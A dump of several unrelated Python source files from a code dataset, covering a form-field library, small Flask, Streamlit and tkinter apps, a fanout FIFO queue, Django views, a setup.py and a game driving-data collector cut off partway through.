'checked' if term.token == self.form_value else None\n\n def update(self):\n super(BaseChoiceField, self).update()\n\n self.update_items()\n\n def extract(self):\n value = super(BaseChoiceField, self).extract()\n\n if not value or value == self.no_value_token:\n return null\n return value\n\n\nclass BaseMultiChoiceField(VocabularyField):\n \"\"\" multi choice field \"\"\"\n\n missing = []\n error_msg = _('\"${val}\" is not in vocabulary')\n\n def to_form(self, value):\n val = value\n try:\n res = []\n for val in value:\n res.append(self.vocabulary.get_term(val).token)\n return res\n except:\n raise Invalid(self.error_msg, self, {'val': val})\n\n def to_field(self, value):\n if not value:\n return null\n\n val = value\n try:\n res = []\n for val in value:\n res.append(self.vocabulary.get_term_bytoken(val).value)\n return res\n except:\n raise Invalid(self.error_msg, self, {'val': val})\n\n def extract(self):\n if self.name not in self.params:\n return null\n\n value = []\n tokens = self.params.getall(self.name)\n for token in tokens:\n if token == self.no_value_token:\n continue\n\n value.append(token)\n\n return value\n\n def is_checked(self, term):\n return 'checked' if term.token in self.form_value else None\n\n def update(self):\n super(BaseMultiChoiceField, self).update()\n\n if self.form_value in (null, None):\n self.form_value = []\n\n self.update_items()\n\n\n@field('text')\nclass TextField(InputField):\n \"\"\"HTML Text input widget. Field name is ``text``.\"\"\"\n\n klass = 'form-control text-widget'\n value = ''\n missing = ''\n\n\nclass Number(object):\n\n error_msg = _('\"${val}\" is not a number')\n\n def to_form(self, value):\n try:\n return str(self.typ(value))\n except Exception:\n raise Invalid(self.error_msg, self)\n\n def to_field(self, value):\n if not value:\n return null\n\n try:\n return self.typ(value)\n except Exception:\n raise Invalid(self.error_msg, self, mapping={'val': value})\n\n\n@field('int')\nclass IntegerField(Number, TextField):\n \"\"\"Integer input widget. Field name is ``int``.\"\"\"\n\n typ = int\n value = 0\n klass = 'form-control int-widget'\n\n\n@field('float')\nclass FloatField(Number, TextField):\n \"\"\"Float input widget. Field name is ``float``.\"\"\"\n\n typ = float\n klass = 'form-control float-widget'\n\n\n@field('decimal')\nclass DecimalField(Number, TextField):\n \"\"\"Decimal input widget. Field name is ``decimal``.\"\"\"\n\n typ = decimal.Decimal\n klass = 'form-control decimal-widget'\n\n\n@field('textarea')\nclass TextAreaField(TextField):\n \"\"\"HTML Text Area input widget. Field name is ``textarea``.\"\"\"\n\n klass = 'form-control textarea-widget'\n html_attrs = TextField.html_attrs + ('rows', 'cols')\n\n rows = 5\n cols = 40\n value = ''\n default = ''\n\n tmpl_input = 'form:textarea'\n\n\n@field('file')\nclass FileField(InputField):\n \"\"\"HTML File input widget. Field name is ``file``.\"\"\"\n\n klass = 'input-file'\n html_type = 'file'\n\n max_size = 0\n allowed_types = ()\n\n error_max_size = \"Maximum file size exceeded.\"\n error_unknown_type = \"Unknown file type.\"\n\n tmpl_input = 'form:input-file'\n\n def validate(self, value):\n if value is null and self.form_value:\n value = self.form_value\n\n super(FileField, self).validate(value)\n\n if value is null:\n return\n\n if self.max_size:\n value['fp'].seek(0, 2)\n size = value['fp'].tell()\n value['fp'].seek(0)\n\n if size > self.max_size:\n raise Invalid(self.error_max_size, self)\n\n if self.allowed_types and value['mimetype'] not in self.allowed_types:\n raise Invalid(self.error_unknown_type, self)\n\n def extract(self):\n value = self.params.get(self.name, null)\n\n if hasattr(value, 'file'):\n value.file.seek(0)\n return {\n 'fp': value.file,\n 'filename': value.filename,\n 'mimetype': value.type,\n 'size': value.length}\n elif value:\n if not PY3 and isinstance(value, text_type):\n value = value.encode('latin1')\n\n fp = NativeIO(value)\n fp.filename = self.params.get('%s-filename'%self.name, '')\n return {\n 'fp': fp,\n 'filename': self.params.get('%s-filename'%self.name, ''),\n 'mimetype': self.params.get('%s-mimetype'%self.name, ''),\n 'size': len(value)}\n\n return null\n\n\n@field('lines')\nclass LinesField(TextAreaField):\n \"\"\"Text area based widget, each line is treated as sequence element.\n Field name is ``lines``.\"\"\"\n\n klass = 'form-control textlines-widget'\n missing = []\n\n error_msg = _('\"${val}\" is not a list')\n\n def to_form(self, value):\n try:\n return '\\n'.join(value)\n except Exception:\n raise Invalid(self.error_msg, self, {'val': value})\n\n def to_field(self, value):\n if not value:\n return null\n\n try:\n return list(filter(None, [s.strip() for s in value.split('\\n')]))\n except Exception:\n raise Invalid(self.error_msg, self, {'val': value})\n\n\n@field('password')\nclass PasswordField(TextField):\n \"\"\"HTML Password input widget. Field name is ``password``.\"\"\"\n\n klass = 'form-control password-widget'\n html_type = 'password'\n\n\n@field('multichoice')\nclass MultiChoiceField(BaseMultiChoiceField):\n \"\"\"HTML Checkboxs input based widget. Field name is ``multichoice``.\"\"\"\n\n klass = 'multichoice-widget'\n html_type = 'checkbox'\n tmpl_input = 'form:multichoice'\n\n\nclass DateField(TextField):\n \"\"\"Simple date input field.\"\"\"\n missing = None\n\n error_msg = _('\"${val}\" is not a date object')\n error_invalid_date = _('Invalid date')\n\n def to_form(self, value):\n if value is null:\n return null\n\n if isinstance(value, datetime.datetime):\n value = value.date()\n\n if not isinstance(value, datetime.date):\n raise Invalid(self.error_msg, self, {'val': value})\n\n return value.isoformat()\n\n def to_field(self, value):\n if not value:\n return null\n\n try:\n result = iso8601.parse_date(value)\n result = result.date()\n except (iso8601.ParseError, TypeError):\n try:\n year, month, day = map(int, value.split('-', 2))\n result = datetime.date(year, month, day)\n except Exception:\n raise Invalid(self.error_invalid_date, self)\n\n return result\n\n\nclass DateTimeField(TextField):\n\n default_tzinfo = iso8601.Utc()\n missing = None\n\n error_msg = _('\"${val}\" is not a datetime object')\n error_invalid_date = _('Invalid date')\n\n def to_form(self, value):\n if value is null or value is None or not value:\n return null\n\n if type(value) is datetime.date: # cannot use isinstance; dt subs date\n value = datetime.datetime.combine(value, datetime.time())\n\n if not isinstance(value, datetime.datetime):\n raise Invalid(self.error_msg, self, {'val': value})\n\n if value.tzinfo is None:\n value = value.replace(tzinfo=self.default_tzinfo)\n\n return value.isoformat()\n\n def to_field(self, value):\n if not value:\n return null\n\n try:\n result = iso8601.parse_date(\n value, default_timezone=self.default_tzinfo)\n except (iso8601.ParseError, TypeError):\n try:\n year, month, day = map(int, value.split('-', 2))\n result = datetime.datetime(year, month, day,\n tzinfo=self.default_tzinfo)\n except Exception:\n raise Invalid(self.error_invalid_date, self)\n\n return result\n\n\n@field('radio')\nclass RadioField(BaseChoiceField):\n \"\"\"HTML Radio input widget. Field name is ``radio``.\"\"\"\n\n klass = 'radio-widget'\n inline = False\n html_type = 'radio'\n html_attrs = BaseChoiceField.html_attrs + ('checked',)\n tmpl_input = 'form:radio'\n\n\n@field('bool')\nclass BoolField(RadioField):\n \"\"\"Boolean input widget. Field name is ``bool``.\"\"\"\n\n vocabulary = vocabulary.Vocabulary(\n (True, 'true', 'yes'),\n (False, 'false', 'no'))\n\n inline = True\n\n\n@field('choice')\nclass ChoiceField(BaseChoiceField):\n \"\"\"HTML Select input widget. Field name is ``choice``.\"\"\"\n\n size = 1\n klass = 'form-control select-widget'\n multiple = None\n prompt_message = _('select a value ...')\n\n tmpl_input = 'form:select'\n\n def update_items(self):\n super(ChoiceField, self).update_items()\n\n if not self.required:\n self.items.insert(0, {\n 'id': self.id + '-novalue',\n 'name': self.name,\n 'value': self.no_value_token,\n 'label': self.prompt_message,\n 'checked': 'checked' if self.form_value is null else None,\n 'description': '',\n })\n\n\n@field('multiselect')\nclass MultiSelectField(ChoiceField):\n \"\"\"HTML Multi Select input widget. Field name is ``multiselect``.\n\n Extra params:\n\n :param size: Size of multiselect field, default is ``5``\n \"\"\"\n\n size = 5\n multiple = 'multiple'\n\n\n@field('timezone')\nclass TimezoneField(ChoiceField):\n \"\"\" Timezone field. Field name is ``timezone``.\"\"\"\n\n error_msg = _('Invalid timezone \"${val}\"')\n\n _tzs = dict((str(tz).lower(), str(tz)) for tz in pytz.all_timezones)\n vocabulary = vocabulary.Vocabulary(\n *[(str(tz).lower(), str(tz).lower(), str(tz))\n for tz in pytz.all_timezones])\n\n def to_form(self, value):\n if value is null:\n return null\n\n return str(value).lower()\n\n def to_field(self, value):\n if value is null or not value:\n return null\n\n try:\n v = str(value).lower()\n if v.startswith('gmt'):\n v = 'etc/%s' % v\n try:\n return pytz.timezone(v)\n except:\n return pytz.timezone(self._tzs[v])\n except:\n raise Invalid(self.error_msg, self, {'val': value})\n\n\nclass OptionsField(CompositeField):\n \"\"\" Options field\n\n ``key``: Name of group key name\n\n ``defaults``: Build defaults for unselected groups\n\n ``extract_all``: Extract values for all groups\n\n \"\"\"\n\n key = ''\n defaults = False\n extract_all = False\n tmpl_input = 'form:options'\n\n def __init__(self, *args, **kw):\n super(OptionsField, self).__init__(*args, **kw)\n\n voc = vocabulary.Vocabulary(\n *[vocabulary.Term(fname, fname, field.title)\n for fname, field in self.fields.items()])\n\n if not self.key:\n self.key = self.name\n\n self.fields = Fieldset(\n RadioField(\n self.key,\n missing = voc[0].value,\n default = voc[0].value,\n required = False,\n vocabulary = voc)) + self.fields\n\n def to_field(self, value):\n value = super(OptionsField, self).to_field(value)\n\n if self.defaults:\n for name, f in self.fields.items():\n if name not in value:\n value[name] = (f.default\n if f.default is not null else f.missing)\n\n return value\n\n def validate(self, value):\n key = value.get(self.key)\n\n if key not in self.fields:\n key = self.fields[self.key].default\n\n super(OptionsField, self).validate(\n {key: value.get(key, self.fields[key].missing)})\n\n def extract(self):\n value = super(OptionsField, self).extract()\n\n if not self.extract_all:\n opotion = value[self.key]\n if opotion in value:\n return {self.key: opotion, opotion: value[opotion]}\n else:\n return {}\n\n return value\n","repo_name":"fafhrd91/pform","sub_path":"pform/fields.py","file_name":"fields.py","file_ext":"py","file_size_in_byte":15851,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"377825038","text":"import os\nfrom flask import Flask, Blueprint, flash, g, redirect, render_template, request, session, url_for\nfrom multiprocessing import Value\nimport time\nimport re\nimport random \nimport simpleaudio as sa\nfrom flask_bootstrap import Bootstrap\n\nAUDIO_PATH=\"~/audio\"\n\nbp = Blueprint('index', __name__, url_prefix='/')\n\ncounter = Value('i', 0)\n\n# Main page route, if POST then play audio\n@bp.route( '/', methods=['GET', 'POST'] )\ndef index():\n if request.method == 'POST':\n # Make sure the button was pushed...\n if request.form[ 'shush' ] == 'shush':\n # Make sure we don't play audio from 2 separate threads\n curTime = time.time()\n # Mutex lock\n with counter.get_lock():\n timeSince = curTime - counter.value\n print(\"has been %d and last %d\" %(timeSince, counter.value ))\n # If 5 seconds have passed, reset the counter and continue\n if curTime - counter.value > 5.0:\n print( \"Setting to 0...\" )\n counter.value = 0\n if counter.value == 0:\n # Find viable audio files from the data folder\n audioFiles = os.listdir( AUDIO_PATH )\n audioFiles = [ a for a in audioFiles if re.match( r'.*\\.wav', a, re.IGNORECASE ) ]\n # Take a random file\n randL = random.sample( audioFiles, 1 )\n audioPath = randL[ 0 ]\n try:\n # Play the file\n wavePath = os.path.join( AUDIO_PATH, audioPath )\n wave_obj = sa.WaveObject.from_wave_file(wavePath )\n play_obj = wave_obj.play()\n counter.value = int( curTime )\n except Exception as e:\n print( \"No luck.... %s\" % str( e ) )\n else:\n print( \"Already running...\" )\n \n # Always render the same template\n return render_template('index.html')\n\n\n\ndef create_app(test_config=None):\n # create and configure the app\n app = Flask(__name__, instance_relative_config=True)\n app.config.from_mapping(\n SECRET_KEY='ThisIsAWebAudPassword',\n DATABASE=os.path.join(app.instance_path, 'flaskr.sqlite'),\n )\n\n if test_config is None:\n # load the instance config, if it exists, when not testing\n app.config.from_pyfile('config.py', silent=True)\n else:\n # load the test config if passed in\n app.config.from_mapping(test_config)\n\n # ensure the instance folder exists\n try:\n os.makedirs(app.instance_path)\n except OSError:\n pass\n\n #from . import db\n #db.init_app(app)\n\n app.register_blueprint( bp )\n bootstrap = Bootstrap( app )\n\n return app\n\n","repo_name":"platinum95/WebAud","sub_path":"WebAud/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"38571152575","text":"import tkinter\r\nimport threading\r\nimport os,sys\r\nimport datetime\r\nfrom tkinter import *\r\nfrom PIL import Image, ImageTk\r\nimport time\r\nimport cv2\r\n\r\nmenber = 1\r\ncameraUrl = \"\"\r\nvolumeValue = 22\r\n\r\n\r\ndef DoBodyFatCheck():\r\n pass\r\ndef DoShowOther():\r\n global menber\r\n if menber < 5:\r\n menber = menber + 1\r\n else:\r\n menber = 1\r\n textMenber = '学憩仓-' + str(menber)\r\n word_2=Label(window, text=textMenber, width=72, bg=\"yellow\",height=2, font=\"宋体 20 bold\")\r\n word_2.place(x=0, y=1000)\r\n\r\n\r\ndef SetVolume(value):\r\n global volumeValue\r\n if volumeValue > 0 and volumeValue < 100:\r\n volumeValue = volumeValue + int(value)\r\n elif volumeValue == 0 and int(value)>0:\r\n volumeValue = volumeValue + int(value)\r\n elif volumeValue == 100 and int(value)<0: \r\n volumeValue = volumeValue + int(value)\r\n\r\n textVolume = str(volumeValue)\r\n word_1=Label(window, text=textVolume, width=8, height=3, anchor=\"center\",bg=\"deepskyblue\", fg=\"white\", relief =\"ridge\", font=\"宋体 24 bold\")\r\n word_1.place(x=450, y=1750)\r\n################################################################################################################################################################\r\n\r\nwindow=Tk()\r\n\r\n##窗口位于屏幕中间\r\nwidth = 1080\r\nheight = 1920\r\ng_screenwidth = window.winfo_screenwidth()\r\ng_screenheight = window.winfo_screenheight()\r\nalignstr = '%dx%d+%d+0' % (width, height, g_screenwidth,)\r\nwindow.geometry(alignstr)\r\n\r\n#window.geometry(\"760x1360\") #窗口大小\r\n\r\nwindow.title(\"学憩仓操作界面\") #窗口标题\r\nwindow.config(bg=\"skyblue\") #窗口背景颜色\r\n\r\n\r\n######################################################################################################################################################################################################################################################################\r\n#监控区\r\ncanvas = Canvas(window, width=1080, height=1000, bg='black')\r\ncanvas.pack() \r\n\r\ncap = cv2.VideoCapture(\"VID.mp4\")\r\ndef photo_image(img):\r\n h, w = img.shape[:2]\r\n data = f'P6 {w} {h} 255 '.encode() + img[..., ::-1].tobytes()\r\n return PhotoImage(width=w, height=h, data=data, format='PPM')\r\n\r\ndef update():\r\n ret, img = cap.read()\r\n if ret:\r\n photo = photo_image(img)\r\n canvas.create_image(0, 0, image=photo, anchor=NW)\r\n canvas.image = photo\r\n window.after(1, update)\r\n\r\n####################################################################################################################\r\n#操作区\r\nuserOperationFrame = Frame(window, bg='white', width=600, height=1080) \r\nuserOperationFrame.place(x=1300, y=10)\r\n\r\nword_2=Label(window, text='学憩仓-1', width=72, bg=\"yellow\",height=2, font=\"宋体 20 bold\")\r\nword_2.place(x=0, y=1000)\r\n\r\nbody_fat_Button= Button(window, text=\"切换学憩仓\", width=38, height=3, font=\"宋体 20 bold\", command=DoShowOther) \r\nbody_fat_Button.place(x=230, y=1150)\r\n\r\nblood_fat_Button= Button(window, text=\"播放视频\", width=38, height=3, font=\"宋体 20 bold\", command=DoBodyFatCheck) \r\nblood_fat_Button.place(x=230, y=1300)\r\n\r\nblood_fat_Button= Button(window, text=\"视频-1\", width=8, height=3, font=\"宋体 20 bold\", command=DoBodyFatCheck) \r\nblood_fat_Button.place(x=230, y=1450)\r\n\r\nblood_fat_Button= Button(window, text=\"视频-2\", width=8, height=3, font=\"宋体 20 bold\", command=DoBodyFatCheck) \r\nblood_fat_Button.place(x=380, y=1450)\r\n\r\nblood_fat_Button= Button(window, text=\"视频-3\", width=8, height=3, font=\"宋体 20 bold\", command=DoBodyFatCheck) \r\nblood_fat_Button.place(x=530, y=1450)\r\n\r\nblood_fat_Button= Button(window, text=\"视频-4\", width=8, height=3, font=\"宋体 20 bold\", command=DoBodyFatCheck) \r\nblood_fat_Button.place(x=680, y=1450)\r\n\r\n\r\ntake_photo_Button= Button(window, text=\"启动对话\", width=38, height=3, font=\"宋体 20 bold\", command=DoBodyFatCheck) \r\ntake_photo_Button.place(x=230, y=1600)\r\n\r\nblood_pressure_Button= Button(window, text=\"音量 + \", width=8, height=3, font=\"宋体 20 bold\", command=lambda: SetVolume(\"+1\")) \r\nblood_pressure_Button.place(x=230, y=1750)\r\n\r\nskin_Button= Button(window, text=\"音量 - \", width=8, height=3, font=\"宋体 20 bold\", command=lambda: SetVolume(\"-1\")) \r\nskin_Button.place(x=680, y=1750)\r\n\r\nword_1=Label(window, text='22', width=8, height=3, anchor=\"center\",bg=\"deepskyblue\", fg=\"white\", relief =\"ridge\", font=\"宋体 24 bold\")\r\nword_1.place(x=450, y=1750)\r\n\r\n##show_Button= Button(userOperationFrame, text=\"打印结果\", width=38, height=3, font=\"宋体 20 bold\", command=DoBodyFat) \r\n##show_Button.place(x=10, y=980)\r\n\r\n\r\n\"\"\"\r\nButton #按钮控件;在程序中显示按钮。\r\n\r\nCheckbutton= #多选框控件;用于在程序中提供多项选择框\r\n\r\nEntry= #输入控件;用于显示简单的文本内容\r\n\r\nFrame= #架控件;在屏幕上显示一个矩形区域,多用来作为容器\r\n\r\n\r\nMessage= #消息控件;用来显示多行文本,与label比较类似\r\n\r\n\r\n\r\n\"\"\"\r\n#####################################################################################################################################################################################################################################################################\r\n#窗口尺寸处理函数\r\nupdate()\r\nwindow.mainloop()\r\ncap.release()\r\n","repo_name":"Rondy-ruan/mingshi","sub_path":"Python/ControlRoom/学习仓操作界面.py","file_name":"学习仓操作界面.py","file_ext":"py","file_size_in_byte":5346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"70821555983","text":"import streamlit as st\nimport speech_recognition as sr\nimport numpy as np\nfrom scipy.spatial import distance\nimport librosa\nimport librosa.display\nimport pyaudio\n\n#Initialize the recognizer\nr = sr.Recognizer()\n\n\nst.title(\"Voice Recognition (Microphone)\")\n\n\n# Function to get or create the SessionState for audio1 and audio2\ndef get_session_state():\n if \"audio1\" not in st.session_state:\n st.session_state.audio1 = [0]\n if \"audio2\" not in st.session_state:\n st.session_state.audio2 = [0]\n \n\n return st.session_state\n\nsession_state = get_session_state()\n\naudio_One = session_state.audio1\naudio_Two = session_state.audio2\n\n\nst.write(\"Click here Person1\")\n# Create a Streamlit button\nif st.button(\"Person1\"):\n with sr.Microphone() as source:\n st.write('Say Something (first person)...')\n audio1 = r.listen(source) #say anything\n \n# #Updating nwe audio\n# a = audio1\n# audio1.append(a)\n# session_state.audio1 = audio1\n\n person1_result=r.recognize_google(audio1)\n st.write(person1_result)\n \n #Updaing new audio\n a = audio1\n audio_One.append(a)\n session_state.audio1 = audio_One\n \n\nst.write(\"Click here Person2\")\n# Capture the second audio sample\nif st.button(\"Person2\"):\n with sr.Microphone() as source:\n st.write('Say Something (second person)...')\n audio2 = r.listen(source) #say anything\n \n# #Updating new audio\n# b = audio2\n# audio2.append(b)\n# session_state.audio2 = audio2\n\n person2_result=r.recognize_google(audio2)\n st.write(person2_result)\n \n #Updating new audio\n b = audio2\n audio_Two.append(b)\n session_state.audio2 = audio_Two\n \n \n \n \n \nst.write(\"Click here to see the Result\")\nif st.button(\"Check Result\"):\n audio1=audio_One[-1]\n audio2=audio_Two[-1]\n # Convert the audio data to floating-point arrays\n audio_data1 = np.frombuffer(audio1.frame_data, dtype=np.int16).astype(np.float32)\n audio_data2 = np.frombuffer(audio2.frame_data, dtype=np.int16).astype(np.float32)\n \n # Extract MFCC features from the audio samples\n mfcc1 = librosa.feature.mfcc(y=audio_data1, sr=audio1.sample_rate, n_mfcc=13)\n mfcc2 = librosa.feature.mfcc(y=audio_data2, sr=audio2.sample_rate, n_mfcc=13)\n\n # Transpose the MFCC matrices to have the same shape for comparison\n mfcc1 = mfcc1.T\n mfcc2 = mfcc2.T\n\n\n # Compute the cosine similarity between the MFCC feature vectors\n similarity_score = 1 - distance.cosine(mfcc1.mean(axis=0), mfcc2.mean(axis=0))\n\n # Set a threshold for similarity (you may need to determine this empirically)\n threshold = 1\n\n # Compare the similarity score to the threshold\n if similarity_score >= threshold:\n st.write(\"The voices match.\")\n else:\n st.write(\"The voices do not match.\")\n","repo_name":"Mrinal12/voice_recogniton","sub_path":"streamlit_voice_match.py","file_name":"streamlit_voice_match.py","file_ext":"py","file_size_in_byte":2846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"21395230884","text":"from calvin.runtime.north.calvin_token import Token\nfrom calvin.runtime.north.plugins.port.queue.common import QueueFull, QueueEmpty, COMMIT_RESPONSE\n\nclass FanoutFIFO(object):\n\n \"\"\"\n A FIFO with fanout support\n Parameters:\n length is the number of entries in the FIFO\n readers is a set of peer port ids reading from the FIFO\n \"\"\"\n\n def __init__(self, port_properties):\n super(FanoutFIFO, self).__init__()\n # Set default queue length to 4 if not specified\n try:\n length = port_properties.get('queue_length', 4)\n except:\n length = 4\n # Compensate length for FIFO having an unused slot\n length += 1\n self.fifo = [Token(0)] * length\n self.N = length\n self.readers = set()\n # NOTE: For simplicity, modulo operation is only used in fifo access,\n # all read and write positions are monotonousy increasing\n self.write_pos = 0\n self.read_pos = {}\n self.tentative_read_pos = {}\n self._type = \"fanout_fifo\"\n\n def __str__(self):\n return \"Tokens: %s, w:%i, r:%s, tr:%s\" % (self.fifo, self.write_pos, self.read_pos, self.tentative_read_pos)\n\n def _state(self):\n state = {\n 'queuetype': self._type,\n 'fifo': [t.encode() for t in self.fifo],\n 'N': self.N,\n 'readers': list(self.readers),\n 'write_pos': self.write_pos,\n 'read_pos': self.read_pos,\n 'tentative_read_pos': self.tentative_read_pos\n }\n return state\n\n def _set_state(self, state):\n self._type = state.get('queuetype',\"fanout_fifo\")\n self.fifo = [Token.decode(d) for d in state['fifo']]\n self.N = state['N']\n self.readers = set(state['readers'])\n self.write_pos = state['write_pos']\n self.read_pos = state['read_pos']\n self.tentative_read_pos = state['tentative_read_pos']\n\n @property\n def queue_type(self):\n return self._type\n\n def add_reader(self, reader):\n if not isinstance(reader, basestring):\n raise Exception('Not a string: %s' % reader)\n if reader not in self.readers:\n self.read_pos[reader] = 0\n self.tentative_read_pos[reader] = 0\n self.readers.add(reader)\n\n def remove_reader(self, reader):\n if not isinstance(reader, basestring):\n raise Exception('Not a string: %s' % reader)\n del self.read_pos[reader]\n del self.tentative_read_pos[reader]\n self.readers.discard(reader)\n\n def write(self, data):\n if not self.slots_available(1):\n raise QueueFull()\n write_pos = self.write_pos\n self.fifo[write_pos % self.N] = data\n self.write_pos = write_pos + 1\n return True\n\n def slots_available(self, length):\n last_readpos = min(self.read_pos.values() or [0])\n return (self.N - ((self.write_pos - last_readpos) % self.N) - 1) >= length\n\n def tokens_available(self, length, metadata):\n if metadata is None and len(self.readers) == 1:\n # we only have one reader for in port queues (the own port id)\n # TODO create seperate FIFO without fanout possibility instead\n metadata = next(iter(self.readers))\n if not isinstance(metadata, basestring):\n raise Exception('Not a string: %s' % metadata)\n if metadata not in self.readers:\n raise Exception(\"No reader %s in %s\" % (metadata, self.readers))\n return (self.write_pos - self.tentative_read_pos[metadata]) >= length\n\n #\n # Reading is done tentatively until committed\n #\n def peek(self, metadata=None):\n if metadata is None and len(self.readers) == 1:\n # we only have one reader for in port queues (the own port id)\n # TODO create seperate FIFO without fanout possibility instead\n metadata = next(iter(self.readers))\n if not isinstance(metadata, basestring):\n raise Exception('Not a string: %s' % metadata)\n if metadata not in self.readers:\n raise Exception(\"Unknown reader: '%s'\" % metadata)\n if not self.tokens_available(1, metadata):\n raise QueueEmpty(reader=metadata)\n read_pos = self.tentative_read_pos[metadata]\n data = self.fifo[read_pos % self.N]\n self.tentative_read_pos[metadata] = read_pos + 1\n return data\n\n def commit(self, metadata=None):\n if metadata is None and len(self.readers) == 1:\n # we only have one reader for in port queues (the own port id)\n # TODO create seperate FIFO without fanout possibility instead\n metadata = next(iter(self.readers))\n self.read_pos[metadata] = self.tentative_read_pos[metadata]\n\n def cancel(self, metadata=None):\n if metadata is None and len(self.readers) == 1:\n # we only have one reader for in port queues (the own port id)\n # TODO create seperate FIFO without fanout possibility instead\n metadata = next(iter(self.readers))\n self.tentative_read_pos[metadata] = self.read_pos[metadata]\n\n #\n # Queue operations used by communication which utilize a sequence number\n #\n\n def com_write(self, data, sequence_nbr):\n if sequence_nbr == self.write_pos:\n self.write(data)\n return COMMIT_RESPONSE.handled\n elif sequence_nbr < self.write_pos:\n return COMMIT_RESPONSE.unhandled\n else:\n return COMMIT_RESPONSE.invalid\n\n def com_peek(self, metadata=None):\n pos = self.tentative_read_pos[metadata]\n return (pos, self.peek(metadata))\n\n def com_commit(self, reader, sequence_nbr):\n \"\"\" Will commit one token when the sequence_nbr matches\n return COMMIT_RESPONSE for action on token sequence_nbr.\n Only act on sequence nbrs at end of queue.\n reader: peer_id\n sequence_nbr: token sequence_nbr\n \"\"\"\n if sequence_nbr >= self.tentative_read_pos[reader]:\n return COMMIT_RESPONSE.invalid\n if self.read_pos[reader] < self.tentative_read_pos[reader]:\n if sequence_nbr == self.read_pos[reader]:\n self.read_pos[reader] += 1\n return COMMIT_RESPONSE.handled\n else:\n return COMMIT_RESPONSE.unhandled\n\n def com_cancel(self, reader, sequence_nbr):\n \"\"\" Will cancel tokens from the sequence_nbr to end\n return COMMIT_RESPONSE for action on tokens.\n reader: peer_id\n sequence_nbr: token sequence_nbr\n \"\"\"\n if (sequence_nbr >= self.tentative_read_pos[reader] and\n sequence_nbr < self.reader_pos[reader]):\n return COMMIT_RESPONSE.invalid\n self.tentative_read_pos[reader] = sequence_nbr\n return COMMIT_RESPONSE.handled\n\n def com_is_committed(self, reader):\n return self.tentative_read_pos[reader] == self.read_pos[reader]\n\n","repo_name":"alexandernajafi/calvin-base","sub_path":"calvin/runtime/north/plugins/port/queue/fanout_fifo.py","file_name":"fanout_fifo.py","file_ext":"py","file_size_in_byte":6999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"47"} +{"seq_id":"16436183535","text":"from django.http import JsonResponse\nfrom django.views.decorators.http import require_GET\n\n@require_GET\ndef workspace_report(request, workspace):\n\tif workspace != \"my_workspace_1\":\n\t\treturn JsonResponse({\"error_message\": \"Invalid workspace\"},status=404)\n\n\treturn JsonResponse({\n\t\t\"datasets\": []\n\t})\n\n@require_GET\ndef subset_report(request, workspace, subset):\n\tif workspace != \"my_workspace_1\" or subset != \"my_subset_1\":\n\t\treturn JsonResponse({\"error_message\": \"Invalid workspace or subset\"},status=404)\n\n\treturn JsonResponse({\n\t\t\"datasets\": []\n\t})","repo_name":"hean01-smhi/ekostat_django","sub_path":"reports/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"8483992237","text":"from setuptools import setup,find_packages\nfrom typing import List\n\n\n\n# declaring variables for setup function\nProject_Name=\"housing-predictor\"\nVersion=\"0.0.1\"\nAuthor=\"himanshu\"\nDescription = \"this is my firts full stack machine leaning project\"\n\nRequirement_File_Name = \"requirements.txt\"\n\ndef get_requirements_list()->List[str]:\n \"\"\"\"\n description: this function is going to return the list of requirements\n mentioned in requirements.txt\n return\n \"\"\"\n with open(Requirement_File_Name) as requirement_file:\n return requirement_file.readlines().remove (\"-e .\")\n\n\nsetup(\n name=Project_Name,\n version=Version,\n author=Author,\n description=Description,\n packages=find_packages(),\n install_requires=get_requirements_list()\n\n)\n# by running python setup.py install\n# we can directly install all the libraries in requirements.txt\n","repo_name":"hellohimanshu/Machine_Leaning_project","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"32808481327","text":"import os\nimport cv2\nimport datetime\nimport win32api as wapi\nimport pandas as pd\nimport os\nfrom utils import resize\n\nfrom core.img_process import Image_Processor\n\n# 800 * 600\nROOT_DIR = os.path.dirname(os.path.abspath(__file__))\n\n\nclass DataCollect:\n def __init__(self):\n self.keyList = [\"\\b\"]\n for char in \"ABCDEFGHIJKLMNOPQRSTUVWXYZ 0123456789,.'£$/\\\\\":\n self.keyList.append(char)\n self.target_folder = './dataset/' + datetime.datetime.utcnow().strftime(\n \"%y%m%d_%H-%M-%S\") + \"_\" + \"data/\"\n # Set all the folders\n try:\n if not os.path.exists(self.target_folder):\n os.makedirs(self.target_folder)\n if not os.path.exists(self.target_folder + \"imgs\"):\n os.makedirs(self.target_folder + \"imgs\")\n\n except OSError:\n print('Error: Creating directory.')\n\n # Capture Key\n # A, D: Represents steering angle in GTA\n # S, E: Represents Start and End.\n def capture_key(self):\n for button in self.keyList:\n if wapi.GetAsyncKeyState(ord(button)):\n if button == 'A':\n return 'A'\n elif button == 'D':\n return 'D'\n elif button == 'W':\n return 'W'\n elif button == 'S':\n return 'S'\n elif button == 'E':\n return 'E'\n else:\n return\n return\n\n def save_data(self, drive_view_img, mapview_img, direction_img, control, index):\n # if control == 'w' or control == 'd': continue\n # save captured images in 'Autopilot/dataset/imgs/(file names)''\n target_filename = self.target_folder + 'imgs/' + \"drive_view\" + str(index) + '.jpg' # numpy array\n # # + datetime.datetime.utcnow().strftime(\"%y%m%d_%H-%M-%S\")\n drive_view_img = resize(drive_view_img)\n cv2.imwrite(target_filename, drive_view_img)\n # cv2.imwrite(mapview_filename, mapview_img)\n # cv2.imwrite(direction_filename, direction_img)\n temp_dict = {'drive_view': target_filename, 'control': control}\n return temp_dict\n\n\nif __name__ == '__main__':\n index = 0\n start_flag = False\n data_dict = {}\n dc = DataCollect()\n ImgProc = Image_Processor()\n while True:\n if cv2.waitKey(25) & 0xFF == ord(\"q\"):\n cv2.destroyAllWindows()\n dataset = pd.DataFrame.from_dict(data_dict, orient='index')\n dataset_name = dc.target_folder + \"dataset.csv\"\n 